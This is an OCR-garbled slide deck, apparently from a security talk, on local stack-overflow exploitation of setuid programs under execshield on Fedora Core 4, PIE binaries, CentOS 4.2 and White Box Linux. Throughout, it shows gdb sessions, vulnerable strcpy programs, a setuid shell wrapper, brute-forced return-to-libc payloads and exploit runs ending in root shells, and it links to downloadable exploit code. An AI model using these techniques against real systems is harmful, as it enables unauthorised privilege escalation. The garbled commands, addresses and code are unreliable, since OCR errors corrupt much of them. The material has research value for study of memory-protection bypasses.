Oxbf8b42bc: Oxbf8b42e8 <—— address of second argument of execve() ($esp + 0x10)
(gdb)

Oxbf8b42c0: Oxbf8b4290 <—- address of third argument of execve() ($esp + Ox14)
(gdb) x 0x080483b4

0x80483b4 <__|ibc_csu_init>: 0x57e58955

(gdb)

0x80483b8 <__libc_csu_init+4>: 0xec835356

(gdb)

0x80483bc <__libc_csu_init+8>: 0x0000e80c

(gdb) x Oxbf8b42e8

Oxbf8b42e8: 0x00000000

(gdb) x Oxbf8b4290

Oxbf8b4290: 0x08048296

(gdb)

We can see that there is a possibility to execute __libc_csu_init() function code as a
command. The values loaded on this area are stored in stack before main().
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- ret(pop %eip) real exploit

[root@localhost tepl]l# su x82

[xB28localhost tepl$ Is —-al strecpy

—resr—xr-%¥ 1| root root 4678 Jan 11 22:-19 strcpy
[xB2@8localhost tmpl$ cat sh.c

int main()

setuid{0};
setgid(0);
) system({ " /bin/sh”™):

[#828localhost tmepl% gcc -o sh sh.c
[x82@8localhost tepl$ In —s sh “printf “#xz658x09%xe5%:5 <068 53#:083

zec¥zOc¥=zeld™"

[x82@8localhost tapl$ while [ 1 ] : do ./strcpy 000011112222 printf ~¥#x9G6%#x82
=z04%=08% 2968 828 048 08% 968z B2 8 0A¥z 05¥ 2 968z 828 DA 08 6% B2 0 4% 002 96
=028 04 088 968 B2 04 00z 968 = B2z 042 08z 968 = B2 2 0AN 2 0B 2 ac¥xe 1 #x 199200 " ;

fault

fault

fault

fault
csh-3.00# id
uid=0{root) gid=0{root) groups=500(=82)
ch-3. 00#

We could execute a shell as we expected. Stack based overflow that has NULL value at
the last byte is mostly exploitable.
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- Introducing appendix code and result of exploitation

[Caution 1] You need to set a setuid attribution on target program.
Exploit code: http://x82.inetcop.org/hOme/papers/data/Ox82-break FC4.tgz

example: ./0x82—break_FC4 [target program] [size of buffer] [Number to exploit] [number to execute ret code]

On previous example it was strcpy program to attack and the buffer size was 256.
We need to set the number to repeat this exploit because it is under random
library environment. Usually with a value greater than 30, we could success on
attack. | used 9 times for ret repeat number.

[Caution 2] There were some library function addresses that are likely to be used
among many library addresses . On this exploit we named it “magic library
address”. By using this address, we could reduce the brute—force process to
execute shell.
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- Introducing appendix code and result of exploitation

Setting 30 times for repeat number , we can see that the attack succeeded on fifth
try. It is up to system environment how many time to repeat the exploitation.

[2x82@localhost tmpl$ cat strcpy.c
int main{int argc.char +argv[])

char buf[256]
strcpy(buf,argv[1]):

return 0:

¥
[#x828localhost tmpl$ gcc —o 0xB82-break_FCA 0x82-break_FC4.c
[282@localhost tmpl$ ./0x82-break_FC4 ./strcpy 256 30 9

0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local)

get target program information.

0K, It's setuid or, setgid progranm.

get execve() address.

normal user library execve() address: 0x206lac
set user id library execve() address: Oxc37lac
magic library execve() address: Dxl19elac
get ret code address.

ret code address: 0x8048296

ret code count: 9

get __libc_csu_init() address.

make shell code.

make exploit code.

exploit size: 299

Brute—Force count: 30
] Brute—force library addr.
1 Brute—force library addr.
2] Brute—force library addr.

[03] Brute—force library addr.

[04] Brute—force library addr.
sh-3.00# id
uid=0{root) gid=500{x82) groups=500{x82)
sh—3. D0#

]
]
]
]
]
]
]
]
]
]
]
]
]
0
1

+*
+
+
+
E
+
+
+
+
+
+
+
+
1]
1]
1)
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- Introducing appendix code and result of exploitation

[root@localhost tmpl# cat int_x.c

finclude <string.h>

We can exploit —formit—frame—pointer option enabled program with same
technique. We can compile exploit code with this option.

int main{int argc,char zargv[])
x({argv[1]):
int x{char =p)

char buf[8]:

$ gcc —o 0x82-break_FC4 0x82-break_FC4.c —DFOMIT_FRAME_POINTER

strepy(buf, p):
return 0O:

[root@localhost tmpl# gcc —o int_x int_x.c —fomit—frame—pointer
[root@localhost tmp]# chmod 4755 int_x

[root@localhost tepl# su =82

[282@localhost tmpl$ gcc —o 0282-break_FC4 0x82-break_FC4.c
—-DFOMI T_FRANE_POINTER

[xB82@localhost tmpl$ ./0x82-break_FC4 ./int_x 8 30 21

0xz82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local)

-
-

get target program information.

0K, It's setuid or, setgid program.

get execve() address.

normal user library execve() address: Oxee9lac

set user id library execve() address: Oxl19elac

magic library execve() address: Oxl19elac

get ret code address.

ret code address: 0x8048296

ret code count: 21

get __libc_csu_init({) address.

make shell code.

make exploit code.

target program is —formit-frame-pointer compile mode.
exploit size: 95

Brute—-Force count: 30
1 Brute—force library addr.
1 Brute—force library addr.
2] Brute—force library addr.

[03] Brute-force library addr.
sh-3.00# id
uid=0{root) gid=500(x82) groups=500(=B2)
sh-3. 00#

[
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[0D
[01
[

+*
+
+
+
+*
+
+
+
+
+
+
+
+
+
0
0
0
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3) Local based return-to-library attack on PIE compiled program

[Summary]
Stack based overflow that occurs in main() function will expose address of first argument
to hacker when he changes return address by using execve()

- About PIE option compiled binary
PIE (Position Independent Executable) is a similar concept of PIC (Position Independent

Code). It is a technique to protect a program from being exploited by some attacks such
as buffer overflow.

Reference :
. http://sources.redhat.com/autobook/autobook/autobook 71.html
. http://www.redhat.com/en_us/USA/rhel/details/features/

. http://www.redhat.com/magazine/009jul05/features/execshield/
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- About PIE option compiled binary
Memory of a binary which is compiled with PIE option enabled has no absolute address but has only
relative address. Because of this reason, everytime when the program is executed, it is loaded on

arbitrary address. Because of system performance, only security sensitive programs such as
setuid and setguid programs are compiled with PIE on.

Reference : http://fedoranews.org/tchung/FUDCon3/FUDCon3MCox.pdf

- Comparison between normally compile binary and PIE compiled binary

int main(int argc,char *argv|[])

{
char buf[8];
strepy(buf,argv[11);

return 0;
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- Comparison between normally compile binary and PIE compiled binary

normal ly compiled binary:

[root@new-wargame tmpl# gcc —o strcpy strepy.c

[root@new—wargame tmpl# objdump -R strcpy

strepy: file format el f32-i386

DYNAMIC RELOCATION RECORDS
OFFSET  TYPE

0804953c R_386_GLOB_DAT
0804954¢ R_386_JUMP_SLOT
08049550 R_386_JUMP_SLOT
08049554 R_386_JUMP_SLOT

VALUE
__gmon_start__
__libc_start_main
__gmon_start__
strepy

[root@new—wargame tmpl# gdb —q strcpy

(gdb) x & _JCR_LIST__ -2
0x8049468 <_ DTOR_LIST__>:
(gdb) g

[root@new—wargame tmpl#

Oxffffffff

PIE compiled binary:
[root@new-wargame tmpl# gcc —o strcpy strepy.c —pie
[root@new-wargame tmpl# objdump —R strcpy

OFFSET  TYPE VALUE

000017b0 R_386_RELATIVE *ABS*

000017dc R_386_RELATIVE *ABS*

000017e0 R_386_RELATIVE *ABS*

00000605 R_386_PC32 strcpy

000017b4 R_386_GLOB_DAT _cxa_finalize
000017b8 R_386_GLOB_DAT _Jv_RegisterClasses
000017bc R_386_GLOB_DAT __gmon_start__
000017cc R_386_JUMP_SLOT __Ilibc_start_main
000017d0 R_386_JUMP_SLOT __cxa_finalize
000017d4 R_386_JUMP_SLOT __gmon_start__

[root@new-wargame tmpl# gdb —q strcpy

(gdo) x & JCR_LIST_-2

0x16d4 <_DTOR_LIST__>: Oxffffffff <— Using relative address
(gdb) r test

Starting program: /var/tmp/strcpy test

(gdb) x & JCR_LIST_-2
0x9886d4 <_DTOR_LIST_>: Oxffffffff <— Set absolute address arbitrarily.
(gdb)
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- How to exploit

| tried to exploit without ret code, because it is impossible to move %esp register through

ret code.

[root@new—wargame tmpl# gdb —q strcpy

(gdb) r test
Starting program: /var/tmp/strcpy test

Program exited normally.

(gdb) br *execvet13 (Point to handle first argument)

Breakpoint 1 at 0x19f1b9

(gdb) r 111122223333 printf "fixachxf1#x19"' <— execve() address

éiérting program: /var/tmp/strcpy 111122223333 printf "#xactxf 1#x19""

Breakpoint 1, 0x0019f1b9 in execve () from /lib/libc.so0.6
(gdb) x $esptOxc

Oxbf8b8304: Oxbf8b8384 <—— first argument of execve()
(gdb) x $esptOx10

0xbf8b8308: Oxbf8b8390 <—— second argument of execve()
(gdb) x $esptOxi14

0xbf8b830c: Oxbf8b8340 <—— third argumetn of execve()
(gdb)
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- How to exploit

%esp of main() function will be preserved after entering execve() function.

analysis of each argument :

(gdb) x/x Oxbf80b8384 <—— address of first argument of execve()
Oxbf8b8384 : Oxbf8b9cda

(gdb)

Oxbf8b8388: Oxbf8b9cha

(gdb)

Oxbf8b838¢: 0x00000000 // Real value of first argument
(gdb) x Oxbf8b8390

0xbf8b8390: Oxbf8b9cba // address of second argument

(gdb) x Oxbf8b9cba

Oxbf8b9cha: 0x54534148 // environment variable goes into second argument.
(gdb) x Oxbf8b8340 // we can see this from the string “HOST”
Oxbf8b8340: 0x00000000 // NULL in third argument.

(gdb)

Finally, arguments of execve() function will be... :

execve("Wx4aWx9cWx8bWxbfwx5aWx9cwWx8bWxbf" , "HOST... And environment variables", NULL);
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- How to exploit

After little debugging to link the first argument to desired program. We could find out that
the exploit can be successful if we predict only 2 bytes out of 8.

“??” indicates the 2 bytes that we need to predict from the address of first argument:
| IXXTIXXT D220 DXXT I IXXT IXXT 220 [XXT| ("XX" is static , "??" is what we need to predict)

Disadvantage of this attack is that it can only exploit vulnerability inside of main().
But if we could use the memory of target program as an argument of execve(), it will be
exploited quite easily.

- Introducing exploit code and the result of exploitation
We can get PIE compiled binary with setuid attribution just like we tested, if we extract

the compressed file with root privilege. By running eazy_execve script, it will exploit the
system automatically after little debugging process
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- Introducing exploit code and the result of exploitation

As you see in the result, it gives you a root shell. If you need other user’s shell, you can
Change DEF_UID declaration in easy_execve script.

Exploit code:
http://x82.inetcop.org/hOme/papers/data/0x82-breakeat-pie.tgz

Result of exploitation:
http://x82.inetcop.org/hOme/papers/data/0Ox82-breakeat-pie. README
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4) Exploit under White Box Enterprise 4, CentOS 4.2 system

[Summary] These two systems are exploitable with Fedora Core ret (pop %eip) overflow
technique previously mentioned.

- White Box Enterprise, CentOS system

Those two projects are distributions of Redhat Co. that developed with a charge. If
Fedora Core project is for hackers and programmers, then these two extension of
RedHat enterprise server . Of course, Those two also have execshield and SELinux
solution loaded kernel.

- Trying local ret(pop %eip) exploitation
This technique can be used under both Fedora Core 3 and 4 without special difficulties.

Target program has stack based overflow vulnerability by strcpy() function inside of
main() function.
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- Trying local ret(pop %eip) exploitation

[x82@localhost centos_local]$ cat test.c
int main(int argc,char =*argv[])
{
char buf[8];
strepy(buf,argvli]);

}

[x82@localhost centos_local]$ objdump —d test | grep ret
804828e: c3
8048304 c3
8048339: c3
8048365: c3
804839c¢: c3
80483f 1: c3
8048435: c3
804845b: c3
8048475: c3

[x82@localhost centos_locall$

ret
ret
ret
ret
ret
ret
ret
ret
ret

[x82@localhost centos_local]$ gdb —q test

(gdb) disass execve

ODump of assembler code for function execve:

0x0035d910 <execvetO>: sub $0x8, %esp

0x0035d913 <execve+3>: mov  0x10(%esp),%ecx <—second argument of execve()
0x0035d917 <execvet7>: mov %ebx , (%esp)

0x0035d91a <execve+10>: mov  Ox14(%esp),%edx <—third argument of execve()
0x0035d91e <execvet14>: mov %edi,0x4(%esp)

0x0035d922 <execve+18>: mov  Oxc(%esp),%edi <— first argument of execve()

(gdb) br *execvet+3 <—— Checking the point that gets argument

Breakpoint 1 at 0x35d913

(gdb) r 000011112222 printf "Wx8elWx82Wx04x08HxBelx82Wx04ix0BHx8elx821x04
ix 0B xBetx821ix 04ix 0B x8elix 821 041 x 08 x Belix 821 x 041 x 081 xBex 821 x 041 x 08w xBelt
XB2Wx04Wx08x 10Wxdox35" *

Breakpoint 1, 0x00350913 in execve () from /1ib/tls/1ibc.s0.6
(gdb) x/x *(void **)($esptOx0c)

Ox2e7ded <__libc_start_maint149>: 0x5e75c085
(gdb)
0x2e7de9 <__libc_start_maint153>: 0x54358b65
(gdb)
Ox2e7ded <__libc_start_maint157>: 0x89000000

(gdb)
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- Trying local ret(pop %eip) exploitation

Trying to exploit by using some part of __libc_start_main() function that located
on %esp+0xc as the first argument of execve() function. This exploit code will debug
target program with strace and gdb automatically.

Exploit code:
http://x82.inetcop.org/hOme/papers/data/0x82-overCent0S4.2.tgz

Like previous Fedora Core exploit code, it can exploit —formit-frame-pointer option
enabled compiled program. You just need to add —dfomit_frame_pointer option
when you compile the exploit code.

By running easy_ex exploit script, it will give you a root shell automatically after short
debugging process. White Box Enterprise system and CentOS system both are not
random library environment , so this attack will succeed at the first shot!.
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- Trying local ret(pop %eip) exploitation

Local overflow attack under CentOS 4.2 system :
[xB2@localhost centos_locall$ Is -al test
—resr—xr-x 1 hacker eat 4706 12 27 17:04 test
[282@]localhost centos_locall$ ./0x82-overCent0S4.2
0x82-overCent054.2 - Cent05 4.2 based stack overflow exploit {POC-local)

Usage: ./DxB2-overCent0SA4.2 [program path] [buffer sizel [ret count]
Ex> ./0x82-overCent054.2 ./strcpy 8 9

[xB?@localhost centos_locall$ ./0xB82-overCent054.2 ./test 8 8
0x82-overCent054.2 — Cent0S 4.2 based stack overflow exploit (POC-local)

+

get target program information.

0K, It's setuid or, setgid program.
get execve() address.

library execve() address: 0Ox354910
get ret code address.

ret code address: 0x804828e

ret code count:- 8

make exploit code.

exploit size: 47

get $esp+0x0c: __libc_start_main()’'s address.
make shell code.

sh—-3.00% id

uid=653(hacker) gid=5603(=82) groups=503{=82)
context=user_u-systems_r-unconfined_t
sh—3.00%

ok ok ok ok ok ok ok o

e Lo L L Lo TS R TR TR TR




5. stack based overflow under execshield

- Trying local ret(pop %eip) exploitation

Local overflow attack under White Box Enterprise system :
8x82-overCent0S4.2 - Cent0S 4.2 based stack overflow exploit {(POC-local)

get target program information.

0K, It's setuid or, setgid program.
get execve() address.

library execve() address: Bx2486bA
get ret code address.

ret code address: HxBB4828e

ret code count: 4

make exploit code.

exploit size: 279

get Sesp+BxBc: _ 1libc _start main{)'s address.
make shell code.

[ p— — — p— p— p— p— p— p— f—
LN T T T R I I I
S S S S Sy SO S |

sh-3.004# id

uid=08({root) gid=500({=%82) groups=58008(x82) context=user u:system r:unconfined t
sh-3.088# uname -a

Linux whitebox 2.6.9-5.ELsmp #1 SHMP Fri Apr 29 12:14:36 CDT 28085 i686 1686 1386
GHU/Linux

sh-3.08# cat fetc/redhat-release

White Box Enterprise Linux release 4 {manifestdestiny)

sh-3.080# exit




6. Conclusion

| have told you about exploitation under some O/S environment that uses execshield.
This is still a “Proof-of-Concept* and not perfect.

For better and more efficient exploitation, There has to be a lot of study and effort.
Thank you for listening this long speech.

Thank you.

QNnA
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